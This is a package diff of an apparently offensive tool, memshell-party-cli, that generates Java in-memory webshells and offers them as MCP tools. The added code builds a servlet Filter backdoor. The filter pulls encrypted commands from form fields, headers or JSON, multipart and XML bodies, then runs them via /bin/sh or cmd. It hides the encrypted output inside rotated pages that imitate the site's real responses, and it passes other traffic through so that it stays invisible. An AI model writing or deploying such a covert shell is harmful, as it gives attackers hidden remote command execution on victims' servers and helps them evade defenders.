memshell-party-cli 0.6.0 → 0.7.0

package/dist/index.d.ts

@@ -149,6 +149,12 @@ declare class MemPartyClient {
     getPackerTree(): Promise<PackerTree>;
     getPackers(): Promise<string[]>;
     getCommandConfigs(): Promise<CommandConfigVO>;
+    /**
+     * Servers the ResponseBody probe can write a response on.
+     * Only exists on backend >= 2.9.0 — callers should fall back to the full
+     * server list when this endpoint 404s.
+     */
+    getProbeResponseBodyServers(): Promise<string[]>;
     getVersion(): Promise<VersionInfo>;
     generateMemShell(req: MemShellGenerateRequest): Promise<MemShellGenerateResponse>;
     generateProbe(req: ProbeShellGenerateRequest): Promise<ProbeShellGenerateResponse>;
@@ -476,9 +482,15 @@ declare function execGodzilla(url: string, pass: string, key: string, command: s
 interface ProfileTemplate {
     /** <title> of this page (metadata — the template is used verbatim). */
     title: string;
-    /** Full HTML of a real page on the site (a response skin). */
+    /**
+     * Full body of a real response on the site (a response skin). Any text
+     * format is allowed — HTML, JSON, XML, JS… When it contains the literal
+     * placeholder `{{payload}}`, the ciphertext is substituted exactly there
+     * (works for every format); without a placeholder the template must be an
+     * HTML page and the cipher's marker fragment is injected before </body>.
+     */
     template: string;
-    /** Content-Type this page is served with. */
+    /** Content-Type this page is served with (the shell answers with it). */
     contentType: string;
     /** Relative rotation weight (default 1). */
     weight?: number;
@@ -502,8 +514,25 @@ interface ProfileRequest {
     secretField: string;
     /** Where the ciphertext goes: form body (default), URL query, or a header. */
     secretIn?: "body" | "query" | "header";
+    /**
+     * Body serialization when secretIn=body: "form" (default, url-encoded) or
+     * "json" (a JSON object with Content-Type application/json — for API sites
+     * whose dominant traffic is JSON XHR). Ignored when bodyTemplate is set.
+     */
+    bodyStyle?: "form" | "json";
+    /**
+     * Full request body with the literal placeholder `{{payload}}` where the
+     * ciphertext goes (takes precedence over bodyStyle; secretIn must be body).
+     * Any text format — an OpenAI-style chat JSON, a GraphQL envelope, an XML
+     * SOAP message, a multipart/form-data body (pair it with a Content-Type
+     * header carrying the same boundary). Decoy macros {{hex:N}}, {{b64:N}},
+     * {{uuid}}, {{ts}}, {{int:A:B}} are rendered per request.
+     */
+    bodyTemplate?: string;
     /** Decoy fields sent alongside (e.g. csrftoken/j_username/agreement). */
     fields?: ProfileFormField[];
+    /** Extra/override request headers for this shape (e.g. Accept). */
+    headers?: Record<string, string>;
     /** Relative rotation weight (default 1) when `request` is an array. */
     weight?: number;
 }
@@ -659,9 +688,29 @@ interface FilterTemplateOptions {
     secret: string;
     /** Carrier field names (form fields / headers) that may hold the ciphertext. */
     fields: string[];
-    /** Cover pages from the site profile (raw HTML, rotated per response). */
-    templates: string[];
+    /**
+     * Lowercase Content-Type needles (contains-match): the body is read only
+     * when its Content-Type matches one — derived from the profile's body
+     * shapes. Empty = never touch the body stream: reading a body the shell
+     * doesn't own consumes it and breaks the app behind us.
+     */
+    bodyContentTypes: string[];
+    /** Cover bodies from the site profile (rotated per response, each with its contentType). */
+    templates: Array<{
+        template: string;
+        contentType: string;
+    }>;
     cipher: MimicCipher;
+    /**
+     * Base64 bytes of the body-wrapper classes (renderWrapperJava, compiled by
+     * the build's first phase). The filter self-defines them at runtime so the
+     * uploaded shell stays a single self-contained class — MemShellParty's
+     * Custom generator can only resolve one class.
+     */
+    wrapper: {
+        bodyB64: string;
+        streamB64: string;
+    };
 }
 declare function renderFilterJava(opts: FilterTemplateOptions): string;
 declare function renderCryptoProbe(cipher: MimicCipher): string;

package/dist/index.js

@@ -41,6 +41,14 @@ var MemPartyClient = class {
   getCommandConfigs() {
     return this.request("GET", "/api/config/command/configs");
   }
+  /**
+   * Servers the ResponseBody probe can write a response on.
+   * Only exists on backend >= 2.9.0 — callers should fall back to the full
+   * server list when this endpoint 404s.
+   */
+  getProbeResponseBodyServers() {
+    return this.request("GET", "/api/config/probe/response-body/servers");
+  }
   getVersion() {
     return this.request("GET", "/api/version");
   }
@@ -256,6 +264,21 @@ function emitPayload(payload, opts, sinks = {}) {
 `);
   return { destination: "stdout", size: payload.length, decoded: false };
 }
+function hasMultiplePackResults(r) {
+  return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
+}
+function emitSinglePackResult(r, opts, sinks = {}) {
+  if (hasMultiplePackResults(r)) {
+    const n = Object.keys(r.allPackResults).length;
+    throw new Error(
+      `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+    );
+  }
+  if (r.packResult === void 0) {
+    throw new Error("Server returned no packResult.");
+  }
+  return emitPayload(r.packResult, opts, sinks);
+}
 
 // src/core/config.ts
 import { readFileSync } from "fs";
@@ -1933,7 +1956,10 @@ var memShellInput = {
   shellClassBase64: z.string().optional(),
   urlPattern: z.string().optional(),
   injectorClassName: z.string().optional(),
-  staticInitialize: z.boolean().optional()
+  staticInitialize: z.boolean().optional(),
+  outputFile: z.string().optional().describe(
+    "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
+  )
 };
 var probeInput = {
   probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
@@ -1951,7 +1977,8 @@ var probeInput = {
   sleepServer: z.string().optional(),
   server: z.string().optional(),
   reqParamName: z.string().optional(),
-  commandTemplate: z.string().optional()
+  commandTemplate: z.string().optional(),
+  outputFile: memShellInput.outputFile
 };
 var connectInput = {
   name: z.string().optional().describe(
@@ -2079,7 +2106,11 @@ function createMcpServer(client) {
   );
   server.registerTool(
     "generate_memshell",
-    { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
+    {
+      title: "Generate memory shell",
+      description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: memShellInput
+    },
     async (args) => {
       const meta = {
         server: args.server,
@@ -2092,6 +2123,7 @@ function createMcpServer(client) {
       const started = Date.now();
       try {
         const response = await client.generateMemShell(buildMemShellRequest(args));
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "gen",
           action: "gen",
@@ -2100,7 +2132,7 @@ function createMcpServer(client) {
           detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
       } catch (err) {
         logOp({
           category: "gen",
@@ -2116,7 +2148,11 @@ function createMcpServer(client) {
   );
   server.registerTool(
     "generate_probe",
-    { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
+    {
+      title: "Generate probe shell",
+      description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
+      inputSchema: probeInput
+    },
     async (args) => {
       const meta = {
         probeMethod: args.probeMethod,
@@ -2127,6 +2163,7 @@ function createMcpServer(client) {
       const started = Date.now();
       try {
         const response = await client.generateProbe(buildProbeRequest(args));
+        const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
         logOp({
           category: "probe",
           action: "probe",
@@ -2135,7 +2172,7 @@ function createMcpServer(client) {
           detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
           meta
         });
-        return jsonContent(response);
+        return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
       } catch (err) {
         logOp({
           category: "probe",
@@ -2664,6 +2701,13 @@ import { join as join6 } from "path";
 import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
 import { homedir as homedir4 } from "os";
 import { join as join5 } from "path";
+function inferBodyTemplateContentType(bodyTemplate) {
+  const t = bodyTemplate.trimStart();
+  if (t.startsWith("--")) return "multipart/form-data";
+  if (t.startsWith("{") || t.startsWith("[")) return "application/json";
+  if (t.startsWith("<")) return "text/xml";
+  return null;
+}
 function profileTemplates(profile) {
   if (Array.isArray(profile.templates) && profile.templates.length > 0) {
     return profile.templates;
@@ -2685,9 +2729,98 @@ function profileRequests(profile) {
 }
 
 // src/custom/java-template.ts
+function renderWrapperJava() {
+  return `package mimic;
+
+import java.io.*;
+import javax.servlet.*;
+import javax.servlet.http.*;
+
+/** Re-exposes a consumed request body to downstream filters/servlets. */
+public class CachedBody extends HttpServletRequestWrapper {
+    private final byte[] body;
+
+    public CachedBody(HttpServletRequest req, byte[] body) {
+        super(req);
+        this.body = body;
+    }
+
+    public ServletInputStream getInputStream() {
+        return new Stream(body);
+    }
+
+    public BufferedReader getReader() {
+        return new BufferedReader(new InputStreamReader(getInputStream()));
+    }
+
+    static class Stream extends ServletInputStream {
+        private final ByteArrayInputStream in;
+
+        Stream(byte[] body) {
+            this.in = new ByteArrayInputStream(body);
+        }
+
+        public int read() {
+            return in.read();
+        }
+
+        public boolean isFinished() {
+            return in.available() == 0;
+        }
+
+        public boolean isReady() {
+            return true;
+        }
+
+        public void setReadListener(ReadListener l) {}
+    }
+}
+`;
+}
 function javaStringLiteral(s) {
   return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
 }
+function wrapperLoaderMethods(opts) {
+  return `
+    /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
+        uploaded shell stays a single self-contained class file */
+    static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
+    static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
+
+    static Class<?> forNameQuiet(String name, ClassLoader cl) {
+        try {
+            return Class.forName(name, true, cl);
+        } catch (Throwable t) {
+            return null;
+        }
+    }
+
+    static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
+        try {
+            java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
+                String.class, byte[].class, int.class, int.class);
+            m.setAccessible(true);
+            byte[] bytes = java.util.Base64.getDecoder().decode(b64);
+            return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
+        } catch (Throwable t) {
+            return null; // another shell in this JVM already defined it
+        }
+    }
+
+    /** Wrap the request so downstream code can re-read the JSON body we consumed. */
+    static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
+        ClassLoader cl = ${opts.className}.class.getClassLoader();
+        Class<?> c = forNameQuiet("mimic.CachedBody", cl);
+        if (c == null) {
+            defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
+            c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
+            if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
+        }
+        return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
+            .newInstance(req, body);
+    }
+`;
+}
 var MD5_METHOD = String.raw`
     static String md5Hex(String s) throws Exception {
         MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2823,9 +2956,11 @@ function sharedMethods(cipher) {
   return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
 }
 function renderFilterJava(opts) {
-  const { className, pass, secret, fields, templates, cipher } = opts;
+  const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
   const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
-  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t)}"`).join(",\n");
+  const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
+  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t.template)}"`).join(",\n");
+  const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
   return `package mimic;
 
 import java.io.*;
@@ -2840,37 +2975,120 @@ import javax.servlet.http.*;
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
  *   cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
  *
- * Detection uses getParameter()/getHeader() only, never reads the body
- * stream: form posts are parsed+cached by the container so downstream
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
- * untouched body stream for the shell behind us. Anything that is not ours
- * falls through chain.doFilter; any error answers with the cover page.
+ * Detection uses getParameter()/getHeader() first, never touching the body
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
+ * still see the body. Anything that is not ours falls through chain.doFilter;
+ * any error answers with the plain cover template.
  */
 public class ${className} implements Filter {
     /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
     static final String[] FIELDS = { ${fieldsJava} };
+    /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
+    static final String[] BODY_CTS = { ${bodyCtsJava} };
     /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
     static final String PASS = "${javaStringLiteral(pass)}";
     static final String SECRET = "${javaStringLiteral(secret)}";
-    /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
+    /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
     static final String[] TPLS = {
 ${tplsJava}
     };
+    /** Content-Type of each cover body (parallel to TPLS). */
+    static final String[] CTS = { ${ctsJava} };
 
     public void init(FilterConfig filterConfig) {}
     public void destroy() {}
 ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
+    static byte[] readAll(InputStream in) throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        byte[] buf = new byte[8192];
+        int n;
+        while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
+        return bos.toByteArray();
+    }
+
+    /** read the body only when its Content-Type is one the profile actually uses */
+    static boolean ctMatches(String ct) {
+        String l = ct.toLowerCase();
+        for (String n : BODY_CTS) if (l.contains(n)) return true;
+        return false;
+    }
+
+    /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
+    static String jsonField(String body, String field) {
+        String needle = "\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int colon = body.indexOf(':', i + needle.length());
+        if (colon < 0) return null;
+        int q1 = body.indexOf('"', colon + 1);
+        if (q1 < 0) return null;
+        int q2 = body.indexOf('"', q1 + 1);
+        if (q2 < 0) return null;
+        return body.substring(q1 + 1, q2);
+    }
+
+    /** minimal multipart extraction: the value follows the part headers of name="field" */
+    static String multipartField(String body, String field) {
+        String needle = "name=\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
+        int sepLen = 4;
+        if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
+        if (sep < 0) return null;
+        int start = sep + sepLen;
+        int end = body.indexOf('\\n', start);
+        if (end < 0) end = body.length();
+        String v = body.substring(start, end).trim();
+        return v.isEmpty() ? null : v;
+    }
+
+    /** minimal XML extraction: <field>value</field> */
+    static String xmlField(String body, String field) {
+        String open = "<" + field + ">";
+        int i = body.indexOf(open);
+        if (i < 0) return null;
+        int start = i + open.length();
+        int end = body.indexOf("</" + field + ">", start);
+        if (end < 0) return null;
+        return body.substring(start, end);
+    }
+${wrapperLoaderMethods(opts)}
     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
             throws IOException, ServletException {
+        HttpServletRequest httpReq = request instanceof HttpServletRequest
+                ? (HttpServletRequest) request : null;
         String value = null;
         for (String f : FIELDS) {
             value = request.getParameter(f);
-            if (value == null && request instanceof HttpServletRequest) {
+            if (value == null && httpReq != null) {
                 // secretIn=header: the ciphertext may ride a header instead of a form field
-                value = ((HttpServletRequest) request).getHeader(f);
+                value = httpReq.getHeader(f);
             }
             if (value != null) break;
         }
+        if (value == null && httpReq != null) {
+            // the ciphertext may ride a raw body of any bodyTemplate shape
+            // (JSON / multipart / XML\u2026). Read it once and re-expose it
+            // downstream via the caching wrapper.
+            String ct = httpReq.getContentType();
+            if (ct != null && ctMatches(ct)) {
+                try {
+                    byte[] bodyBytes = readAll(httpReq.getInputStream());
+                    String bodyText = new String(bodyBytes, "UTF-8");
+                    for (String f : FIELDS) {
+                        value = jsonField(bodyText, f);
+                        if (value == null) value = multipartField(bodyText, f);
+                        if (value == null) value = xmlField(bodyText, f);
+                        if (value != null) break;
+                    }
+                    request = wrapBody(httpReq, bodyBytes);
+                } catch (Throwable wrapperFailed) {
+                    // the body is already consumed \u2014 pass through as-is
+                }
+            }
+        }
         if (value == null) {
             chain.doFilter(request, response);
             return;
@@ -2882,11 +3100,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
             cmd = decryptField(value, aesKey);
         } catch (Exception notOurs) {
             // the field exists but doesn't decrypt \u2014 this is someone else's
-            // legitimate form (e.g. the real login POST), stay invisible
+            // legitimate request (e.g. the real login POST), stay invisible
             chain.doFilter(request, response);
             return;
         }
-        String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
+        int ti = new java.util.Random().nextInt(TPLS.length);
+        String tpl = TPLS[ti];
+        String tplCt = CTS[ti];
         try {
             String command = new String(cmd, "UTF-8");
             boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2895,22 +3115,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
                 : new ProcessBuilder("/bin/sh", "-c", command);
             pb.redirectErrorStream(true);
             Process proc = pb.start();
-            ByteArrayOutputStream bos = new ByteArrayOutputStream();
-            InputStream in = proc.getInputStream();
-            byte[] buf = new byte[8192];
-            int n;
-            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
             proc.waitFor();
-            String payload = encryptField(bos.toByteArray(), aesKey);
-            String fragment = wrapPayload(payload, PASS + SECRET);
-            int idx = tpl.toLowerCase().lastIndexOf("</body>");
-            String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
-            response.setContentType("text/html;charset=UTF-8");
+            String payload = encryptField(readAll(proc.getInputStream()), aesKey);
+            String page;
+            if (tpl.contains("{{payload}}")) {
+                // placeholder template (any text format): substitute exactly there
+                page = tpl.replace("{{payload}}", payload);
+            } else {
+                String fragment = wrapPayload(payload, PASS + SECRET);
+                int idx = tpl.toLowerCase().lastIndexOf("</body>");
+                page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
+            }
+            response.setContentType(tplCt);
             response.setCharacterEncoding("UTF-8");
-            response.getWriter().write(page);
+            if (tplCt.contains("event-stream")) {
+                // flush chunk by chunk \u2014 a real SSE endpoint streams, a
+                // one-shot body is the wrong shape on the wire
+                java.io.PrintWriter w = response.getWriter();
+                for (String chunk : page.split("\\n\\n", -1)) {
+                    if (chunk.isEmpty()) continue;
+                    w.write(chunk);
+                    w.write("\\n\\n");
+                    w.flush();
+                    response.flushBuffer();
+                    try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
+                }
+            } else {
+                response.getWriter().write(page);
+            }
         } catch (Exception e) {
-            // behave like the cover page on any error \u2014 stay quiet
-            response.setContentType("text/html;charset=UTF-8");
+            // behave like the cover body on any error \u2014 stay quiet
+            response.setContentType(tplCt);
             response.getWriter().write(tpl);
         }
     }
@@ -3005,6 +3240,29 @@ function profileSecretFields(profile) {
   const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
   return fields.length > 0 ? fields : ["pass"];
 }
+function ctNeedle(ct) {
+  const media = ct.toLowerCase().split(";", 1)[0].trim();
+  if (media.includes("json")) return "json";
+  if (media.includes("multipart")) return "multipart";
+  if (media.includes("xml")) return "xml";
+  return media;
+}
+function profileBodyContentTypes(profile) {
+  const needles = /* @__PURE__ */ new Set();
+  for (const r of profileRequests(profile)) {
+    if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
+    if (r.bodyTemplate !== void 0) {
+      const explicit = Object.entries(r.headers ?? {}).find(
+        ([k]) => k.toLowerCase() === "content-type"
+      )?.[1];
+      const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
+      if (ct) needles.add(ctNeedle(ct));
+    } else if (r.bodyStyle === "json") {
+      needles.add("json");
+    }
+  }
+  return [...needles];
+}
 function defaultClassName() {
   return `MimicFilter${randomString(4)}`;
 }
@@ -3016,20 +3274,32 @@ async function buildCustomMemshell(input, client, deps = {}) {
   const urlPattern = input.urlPattern ?? "/*";
   const packer = input.packer ?? "DefaultBase64";
   const cipher = resolveCipher(input.profile.cipher);
-  const templates = profileTemplates(input.profile).map((t) => t.template);
+  const templates = profileTemplates(input.profile).map((t) => ({
+    template: t.template,
+    contentType: t.contentType
+  }));
   if (templates.length === 0) {
     throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
   }
   const outDir = input.outDir;
   const packageDir = join6(outDir, "mimic");
   mkdirSync4(packageDir, { recursive: true });
+  const wrapperFile = join6(packageDir, "CachedBody.java");
+  writeFileSync5(wrapperFile, renderWrapperJava(), "utf8");
+  compile([wrapperFile], outDir, { classpath: [jarOf()] });
+  const wrapper = {
+    bodyB64: readFileSync6(join6(packageDir, "CachedBody.class")).toString("base64"),
+    streamB64: readFileSync6(join6(packageDir, "CachedBody$Stream.class")).toString("base64")
+  };
   const javaSource = renderFilterJava({
     className,
     pass: input.pass,
     secret: input.secret,
     fields: profileSecretFields(input.profile),
+    bodyContentTypes: profileBodyContentTypes(input.profile),
     templates,
-    cipher
+    cipher,
+    wrapper
   });
   const javaFile = join6(packageDir, `${className}.java`);
   writeFileSync5(javaFile, javaSource, "utf8");